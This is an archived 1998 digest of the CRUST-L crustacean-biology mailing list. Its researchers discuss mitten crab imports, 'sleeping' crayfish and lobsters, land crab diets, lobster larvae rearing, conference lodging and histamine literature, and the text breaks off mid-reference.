Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""liongcc"" Date: Sun, 24 May 1998 20:14:01 +0800 Subject: CRUST-L: Chinese Hairy Crab Dear List Members, Lately there has been considerable interest in the commercial culture of the Chinese Hairy Crab (Eriocheir sinensis) in Malaysia based on imported seed. Such importation is currently banned as we are concerned about the inevitable escape of the crab and its possible adverse effects. There seems to quite some reports on the crab establishing self sustaining and thriving population in temperate regions outside China. However we could not find much information for tropical conditions. We are particularly keen to know whether the crab could breed on their own in the tropics. Any assistance would be much appreciated. Thanks. Liong C.C. Department of Fisheries Malaysia =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Mon, 25 May 1998 13:18:59 +0100 Subject: CRUST-L: RE Chinese Mitten Crab & anemones'boxing gloves TO : Jo Ruxton (jo.ruxton@bbc.co.uk), BBC Natural History Unit & copy to Crust-L Here is some information relevant to your question << about the Chinese Mitten Crab - the one that uses anemones as 'boxing gloves'>> I think it is not the so-called Chinese Mitten Crab (= Eriocheir sinensis) but a tropical (Indo-Pacific) charming tiny crab whose latin name is Lybia tessellata. It may be found among coral reefs. Here in Paris, the specialist who knows very well Indo-Pacific crabs (and other crabs too!) is Mme Daniele GUINOT (e-mail guinot@mnhn.fr). She might help you. Most probably we have stuffed specimens in our collections, but no living ones. There is also a coloured post card of Lybia tessellata edited in Firenze (Italia). The specimen was from Somalia and the photographer is : Dott. Gianna Innocenti, Dipartimento di biologia animale e genetica, ""Leo Pardi"", Universita degli Studi di Firenze, via Romana 17/19, I-50125 Firenze, Italia Tel. +39 55 222 448? (39 55 22881); fax +39 55 222565; e-mail scann@eurorock.dbag.unifi.it If you want to have a film of this crab, I am afraid that you have to flight to a tropical area with an aquarium. By the way, would BBC be interested in presenting films on Crustacea at the 4th ICC (International Crustacean Congress) in Amsterdam, 20-24 July, 1998 ? or at the 7th CCDM in Lisboa 6-9 sept. 1999 ? Best regards. Pierre. Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 - Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 26 May 1998 09:31:35 -0400 (EDT) Subject: CRUST-L: sleeping crayfish Here's an interesting topic! Cheers, Jeff - ---------- Forwarded message ---------- Subject: ""Sleeping"" crayfish Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by mascarat.dragonet.es id IAA22965 Dear crusters: Some time ago there was some discussion on the use of anaesthesics on crayfish. Recently, I received notice of a method for ""sleeping"" crayfish from a Spanish fisherman. You scratch quickly for a minute or two with your nail in the joint between cephalotorax and abdomen. The crayfish gets torpid. I tried it yesterday with three species (Austropotamobius pallipes, Procambarus clarkii and Pacifastacus leniusculus), and it worked!!! (P. clarkii individuals weighted near 50 g.). Sounds little scientific?. I'd like to know if aanybody in the list can suggest an explanation for this, or if has heard about something similar in their countries. I haven=B4t tried this method for field manipulation of crayfish, but I can recommend it for photographic purposes on live individuals (try to do it with the animal in the position in which you are going to take the photographs). Fernando Alonso Centro de Investigaci=F3n Agraria de Albaladejito Crta. Cuenca-Toledo, km. 174 16194.CUENCA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Tue, 26 May 1998 16:50:42 +0100 Subject: CRUST-L: Crustacean tracks My name is Eleonore BISSON. I am looking for information about Crustacean traces (tracks), within the framework of a memoir of 4th year University, under the supervision of Pierre Noel, such as : - - Burrows (Thalassinids : ""gebbies"", Ghost-crabs, Snapping-shrimps, Stomatopods, Amphipods ...) - - Tracks of moving (lobsters, crabs and other large Crustaceans on sediments, Phyllopods on mud ...) - - Remains of predation (lobsters, crabs on bivalve shells, or Gastropods...) - - ""Scars"" of parasites on their hosts (Sacculina on crabs, Anilocra or see-lice on fish, Coronula on whales ...) It seems that published information about that is scarce. Discussions with different resarchers let me think that direct observations are not so rare. I would be interested with contacting people knowing something about this subject (personal observations, publications), so that we could have discussions and we could exchange information. Thanks. Best Regards, Eleonore. Eleonore BISSON, c/o Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail c/o pnoel@mnhn.fr Tel 01 4079 3098 - Fax 01 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Gannon, Andrew T."" Date: Tue, 26 May 98 11:26:00 PDT Subject: CRUST-L: Artificial Diet for land crabs CRUSTERS, I would like to know if anybody has any ideas about artificial diets for land crabs. I have read Tom and Donna Wolcott's paper and talked with them, but I would like to know if anybody else has any ideas. I am working with Cardisoma guanhumi, which is primarily herbivorous, but I'll take any info about artificial diets for land crabs. Thanks for the help, Andy Andrew T. Gannon Assistant Professor INTERNET: agannon@bsc.edu Department of Biology VOICEMAIL: (205) 226-4899 Birmingham Southern College FAX: (205) 226-4627 BOX 549022 Birmingham AL 35254 http://panther.bsc.edu/~agannon/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Jason Goldstein"" Date: Tue, 26 May 1998 16:52:27 -0500 Subject: CRUST-L: ICC4 Summer 98 I am planning on attending the Summer Crustacean COngress in Amsterdam July 20-25. I am looking for a place to stay or someone to room with for that time period, give or take a couple of days. If anyone is interested please get in touch with me via e-mail or phone. Thanks!! jason =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Jason Goldstein"" Date: Tue, 26 May 1998 16:54:51 -0500 Subject: CRUST-L: Spiny lobster larvae I have currently been raising some P. argus phylossomal larvae and have just passed day 61. I am noticing a lack of uptake in nutrients of these animals. Can anyone suggest an alternate diet constituent that I may try, esp. larval fish species that may work? Thanks, Jason S. Goldstein, Research Aquaculturist & Project Coordinator Lobster Rearing and Research Facility New England Aquarium Edgerton Research Laboratory Central Wharf Boston, MA 02110 USA - ----------------------------- phone: 617.973.5275 fax: 617.723.6207 email: jsgold@neaq.org webpage: http://www.neaq.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #145 ***************************** >From owner-crust-l Wed May 27 14:30:30 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id OAA06214 for crust-l-digest-outgoing; Wed, 27 May 1998 14:28:58 -0400 Date: Wed, 27 May 1998 14:28:58 -0400 Message-Id: <199805271828.OAA06214@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #146 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 20 crust-l-digest Wednesday, 27 May 1998 Volume 01 : Number 146 CRUST-L: Numero 3 de la Revista AquaTIC CRUST-L: Re:Sleeping crayfish Down Under Re: CRUST-L: sleeping crayfish CRUST-L: Traskorchestia CRUST-L: Hypnosis?! Re: CRUST-L: Artificial Diet for land crabs CRUST-L: looking for room-mate CRUST-L: Looking for rooma-mate CRUST-L: histamine in crabs CRUST-L: reproductive hormones CRUST-L: sleeping bugs Re: CRUST-L: Re:Sleeping crayfish Down Under CRUST-L: recent aquaculture figures CRUST-L: Crab feed (fwd) ---------------------------------------------------------------------- From: Revista AquaTIC (by way of Revista AquaTIC ) Date: Thu, 21 May 1998 11:29:02 +0200 Subject: CRUST-L: Numero 3 de la Revista AquaTIC Dear friends Sorry for cross-postings and for writing in spanish part of this message, but this is the announcement of the second number of a electronic magazine of Aquaculture: AquaTIC =09 http://AquaTIC.unizar.es Thanks NACHO DE BLAS - --------------------------------------------------------------------- Estimados amigos, me complace informar la publicacion del tercer numero de la Revista AquaTIC dedicada a la acuicultura, cuyo URL es: http://AquaTIC.unizar.es En este tercer numero pueden encontrar los siguientes articulos: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -NOTA SOBRE EL PLAN ESTRATEGICO DE LA ACUICULTURA ESPA=D1OLA Informaci=F3n facilitada por la Direcci=F3n General de Recursos Pesqueros= (MAPA) -AQUAFLOW: RED EUROPEA PARA LA DIFUSION DE LA INFORMACION I+D SOBRE ACUICULTURA. Junta Nacional de AquaFlow (JUNA)=20 =20 -INTRODUCCION AL SISTEMA ARCPC EN LAS INDUSTRIAS DE LA PESCA.=20 Agust=EDn Ari=F1o Moneva y Antonio Herrera Marteache. Dpto. de Producci=F3n Animal y Ciencia de los Alimentos. Facultad de Veterinaria. Universidad de Zaragoza=20 -SELECCION DE MUESTRAS PARA EL ESTUDIO DE POBLACIONES ANIMALES EN ACUICULTURA. Carmelo Ortega e Ignacio de Blas. Red Epidemiol=F3gica RATIO=20 -EL CANGREJO DE RIO: DISTRIBUCION, PATOLOGIA, INMUNOLOGIA Y ECOLOGIA.=20 Javier Di=E9guez-Uribeondo. Dpto. de Patolog=EDa Animal. Facultad de Veterinaria. Universidad de Zaragoza.=20 -PRODUCCION DEL LANGOSTINO DE AGUA DULCE O CAMARON GIGANTE DE MALASIA (Macrobrachium rosenbergii)=20 Gustavo A. Wicki. Direcci=F3n de Acuicultura. Secretaria de Agricultura, Pesca y Alimentaci=F3n. Rep=FAblica Argentina. -ENFERMEDADES DE DECLARACION OBLIGATORIA EN PECES (I).=20 -NECROSIS HEMATOPOYETICA INFECCIOSA (IHN).=20 -ANEMIA INFECCIOSA DE LOS SALMONES (ISA).=20 -SEPTICEMIA HEMORRAGICA VIRAL (VHS).=20 Informaci=F3n ofrecida por el Laboratorio de Ictiopatolog=EDa. Facultad de Veterinaria. Universidad de Zaragoza=20 -ENFERMEDADES DE DECLARACION OBLIGATORIA EN MOLUSCOS (I).=20 -BONAMIOSIS (Bonamia ostrae)=20 -MARTEILIOSIS (Marteilia refringes y Marteilia sidneyi).=20 -MICROQUITOSIS (Mikrokytos mackini y Mikrokytos rougheyi).=20 Informaci=F3n ofrecida por Dr. Juan Antonio Castillo. Dpto. de Parasitolog=EDa. Facultad de Veterinaria. Universidad de Zaragoza=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ATENCION ATENCION ATENCION ATENCION ATENCION =20 Adem=E1s de estos articulos hemos agrupado nuestras secciones fijas= dedicadas a: -noticias -CURSOS Y CONGRESOS -informaciones de interes -recetas -webs de interes en acuicultura -foros de debate -LEGISLACION en la seccion UTILES Quedamos a la espera de sus comentarios y sugerencias. Gracias por todo NACHO DE BLAS ********************************************* Revista AquaTIC http://aquatic.unizar.es Jose Luis Muzquiz. Director. Ignacio de Blas. Redactor. Fac. Veterinaria. Univ. Zaragoza c/ Miguel Servet 177 50.013 Zaragoza Tel.: 976 76 15 69 Fax: 976 76 16 12 ********************************************* ********************************************* Revista AquaTIC http://aquatic.unizar.es =09 Jose Luis Muzquiz. Director. Ignacio de Blas. Redactor. Fac. Veterinaria. Univ. Zaragoza c/ Miguel Servet 177 50.013 Zaragoza Tel.: 976 76 15 69 Fax: 976 76 16 12 ********************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""John Seccombe"" Date: Wed, 27 May 1998 12:10:41 +1200 Subject: CRUST-L: Re:Sleeping crayfish Down Under Yes even crayfish down under like their bellies tickled and it seems the female is best. I saw this done in front of me in Western Australia Perth with a 500 gram Panulirus cygnus George.( Spiny crayfish) We were in a live lobster holding facility and the manager held it and stroked across the parts mentioned and the animal went into a trance like state. To prove this the lobster was turned up side down and gently stood on it's head on a Stainless steel bench. I took photographs of it and timed it still motionless 2 minutes later, and they said they have seen them last up to 5 minutes like that. When the animal was put down on it's legs after 2 minutes it took about 15 seconds to awake from the trance. I will try to find the photo's and put on the email as a jpg file. I used to have them hanging up in my trade stands at fishing conferences, always created a laugh with the fisherman who had known about the phenomena, and no doubt it was a crazy fisherman who did it in the first place, not a scientific experiment. But what is interesting, is this induced trance used by the buck when it mates with the female, the way the buck mates with the female standing up at each other face to face, to mate.? regards John John Seccombe - Aquahort Ltd. Auckland. New Zealand Ph: 0064 9 5366201 Fax: 0064 9 5366362 Aquahort - ""Nature Harnessed"" - ---------- > From: Jeffrey Shields > To: crust-l@vims.edu > Subject: CRUST-L: sleeping crayfish > Date: Wednesday, 27 May 1998 01:31 > > Here's an interesting topic! > Cheers, Jeff > > ---------- Forwarded message ---------- > Subject: ""Sleeping"" crayfish > Content-Type: text/plain; charset=iso-8859-1 > Content-Transfer-Encoding: quoted-printable > X-MIME-Autoconverted: from 8bit to quoted-printable by mascarat.dragonet.es id IAA22965 > > Dear crusters: > Some time ago there was some discussion on the use of anaesthesics on > crayfish. Recently, I received notice of a method for ""sleeping"" > crayfish from a Spanish fisherman. You scratch quickly for a minute or > two with your nail in the joint between cephalotorax and abdomen. The > crayfish gets torpid. I tried it yesterday with three species > (Austropotamobius pallipes, Procambarus clarkii and Pacifastacus > leniusculus), and it worked!!! (P. clarkii individuals weighted near 50 > g.). Sounds little scientific?. I'd like to know if aanybody in the list > can suggest an explanation for this, or if has heard about something > similar in their countries. I haven=B4t tried this method for field > manipulation of crayfish, but I can recommend it for photographic > purposes on live individuals (try to do it with the animal in the > position in which you are going to take the photographs). > Fernando Alonso > Centro de Investigaci=F3n Agraria de Albaladejito > Crta. Cuenca-Toledo, km. 174 > 16194.CUENCA > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Wed, 27 May 1998 00:05:12 -0500 Subject: Re: CRUST-L: sleeping crayfish Scratch the crawdads on the ventral or dorsal surface? If the ventral, since the nerve cord in just beneath the cuticle, perhaps scratching there is like bashing ones funny bone (the brachial nerve). Given the way my elbow feels after bumping the nerve, I can imagine a crayfish might be ""put to sleep"". Phil >> >>Dear crusters: >>Some time ago there was some discussion on the use of anaesthesics on >>crayfish. Recently, I received notice of a method for ""sleeping"" >>crayfish from a Spanish fisherman. You scratch quickly for a minute or >>two with your nail in the joint between cephalotorax and abdomen. The >>crayfish gets torpid. I tried it yesterday with three species >>(Austropotamobius pallipes, Procambarus clarkii and Pacifastacus >>leniusculus), and it worked!!! (P. clarkii individuals weighted near 50 >>g.). Sounds little scientific?. I'd like to know if aanybody in the list >>can suggest an explanation for this, or if has heard about something >>similar in their countries. I haven=B4t tried this method for field >>manipulation of crayfish, but I can recommend it for photographic >>purposes on live individuals (try to do it with the animal in the >>position in which you are going to take the photographs). >>Fernando Alonso >>Centro de Investigaci=F3n Agraria de Albaladejito >>Crta. Cuenca-Toledo, km. 174 >>16194.CUENCA }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Aaron Baldwin Date: Tue, 26 May 1998 21:07:12 -0800 (AKDT) Subject: CRUST-L: Traskorchestia I would like to thank all of those who reponded to my Anonyx posting, if I didn't respond yet, I am working on it! I recently keyed out a very abundant upper intertidal gammarid from Juneau to Traskorchestia georgiana (Bousfield, 1952). A friend of mine believes this is the same species he has found in Seward. I was wondering if anyone had range information for this species, or happen to know if there other Traskorchestia with hair-like (thin and small) pleopods in the Northeastern Pacific (I am using Craig Staude's keys for Washington) Thanks- Aaron =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: GRANT D STENTIFORD <9707223s@UDCF.GLA.AC.UK> Date: Wed, 27 May 1998 09:00:05 +0100 Subject: CRUST-L: Hypnosis?! Following the comments made by Jeff about sleeping Crayfish, I have heard of a similar situation in the Euro Lobster (H.gammarus). Apparently, a fisherman told me that if you take the animal and balance it on the tip of its rostrum, it will go into a similar state noted by Jeff. May be true, may be not....haven't got time to try it myself, too busy working! Have a go Cheers Grant Grant D Stentiford, Crustacean Parasitology, Graham kerr Building. University of Glasgow. Glasgow. Scotland. Tel; UK (0141) 3306627 email ; g.stentiford@udcf.gla.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric De Muylder Date: Wed, 27 May 1998 10:21:48 +0200 Subject: Re: CRUST-L: Artificial Diet for land crabs Gannon, Andrew T. wrote: > > CRUSTERS, > I would like to know if anybody has any ideas about artificial diets for > land crabs. I have read Tom and Donna Wolcott's paper and talked with them, > but I would like to know if anybody else has any ideas. I am working with > Cardisoma guanhumi, which is primarily herbivorous, but I'll take any info > about artificial diets for land crabs. > > Thanks for the help, > > Andy > > Andrew T. Gannon > Assistant Professor INTERNET: agannon@bsc.edu > Department of Biology VOICEMAIL: (205) 226-4899 > Birmingham Southern College FAX: (205) 226-4627 > BOX 549022 > Birmingham AL 35254 http://panther.bsc.edu/~agannon/ Dear Andy, During my stay in Seychelles I tried some diets for Cardisoma carnifex. The main problem was getting them to eat something, so I was not able to sea on which diets they would grow best. The things I tried were : commercial shrimp pellets, cat food, layer feed, rotten leaves, papaya leaves, coconuts, trash fish. The trash fish disappeared, but I think it were rats who took it. The feed which was consumed most was definitely the coconut meat. Shrimp pellets and cat food were consumed also. Please keep me informed if you would find something. I am still very interested in this matter. Thanks and best regards, Eric De Muylder ericdemuylder@yahoo.com http://www.geocities.com/RainForest/Canopy/5280/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Li Li Date: Wed, 27 May 1998 18:43:12 +0800 (HKT) Subject: CRUST-L: looking for room-mate Dear Friends, I will attend both Iso-2 and ICC-4 this July in Amsterdam. It*s difficult to find a proper place to stay after trying to contact some hotels in Amsterdam. So I just want to know whether some people, female participants or girl students, would like to share one room with me. I will stay in Amsterdam from 15-24 July. If possible, please contact me by e-mail. Thank you. Li Li =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Li Li Date: Wed, 27 May 1998 18:52:19 +0800 (HKT) Subject: CRUST-L: Looking for rooma-mate I'm a Ph.D student. I will attend both Iso-2 and ICC-4 this July in Amsterdam. It's difficult to find a proper place to stay after trying to contact some hotels in Amsterdam. So I just want to know whether some people, female participants or girl students, would like to share one room with me. I will stay in Amsterdam from 15-24 July. If possible, please contact me by e-mail. Thank you. Li Li =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 27 May 1998 09:21:58 -0400 (EDT) Subject: CRUST-L: histamine in crabs Please respond to Rob Huber and not to me. Thanks Jeff - ---------- Forwarded message ---------- Subject: Re: histamine in crustaceans From: ""robert lobsterman huber"" To: crust-l@vims.edu, ""JEAN LAVALLEE"" X-Mailer: Cyberdog/2.0 MIME-Version: 1.0 Message-Id: Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit hi crust-searchers, >From: JEAN LAVALLEE >Date: Fri, 22 May 1998 16:41:59 -0400 (AST) >Subject: CRUST-L: Histamine in crustaceans > >List members, > >Does anybody know of any work done on histidine and/or histamine in >crustaceans? Especially, crustaceans fed diet rich in histidine >and/or histamine. Could it be possible that a lobster, or a crab, >ingesting high levels of histamine develop a pseudo allergic reaction >(without, of course, the presence of IG's), or some sort of a food >poisoning? > >I would appreciate any info or suggestions. >Thanks, i wanted to remind you of my database on crustacean neuro-, bio-, etho- refs. it is on the web and can be searched at: http://wwwzoo.kfunigraz.ac.at/cgi-bin/lit_findlinks.html the term histamine found 109 refs (most with abstarcts), such as: Arnould JM Biosynthesis and metabolism of histamine in the central nervous system of Carcinus maenas] Arch Int Physiol Biochim (1987) 95: 43-55 The central nervous system of Carcinus maenas synthesizes radioactive histamine when incubated in the presence of [14C] histidine and pyridoxal-5' phosphate. This biosynthesis increases linearly as a function of the amount of enzyme and the incubation time. It is not effected by heart, muscle or hepatopancreas extracts nor by haemolymph. Thus histamine appears to be synthesized mainly in the nervous system. The latter is also the seat of carcinine (beta-alanylhistamine) biosynthesis. Since carcinine seems to be a product of histamine neutralization, histamine metabolism should take place in its entirety in the nervous system. Thus histamine appears to be implicated in the neuronal activity of Carcinus. Different areas of the crustacean central nervous system: brain, eyestalks and thoracic ganglionic mass biosynthesize and metabolize histamine. Thus they all could contain sites of action for histamine. The nervous systems of two other Decapodes, Cancer and Astacus also effect histamine biosynthesis but don't metabolize it into carcinine. or Battelle BA Calman BG Andrews AW Grieco FD Mleziva MB Callaway JC Stuart AE Histamine: a putative afferent neurotransmitter in Limulus eyes 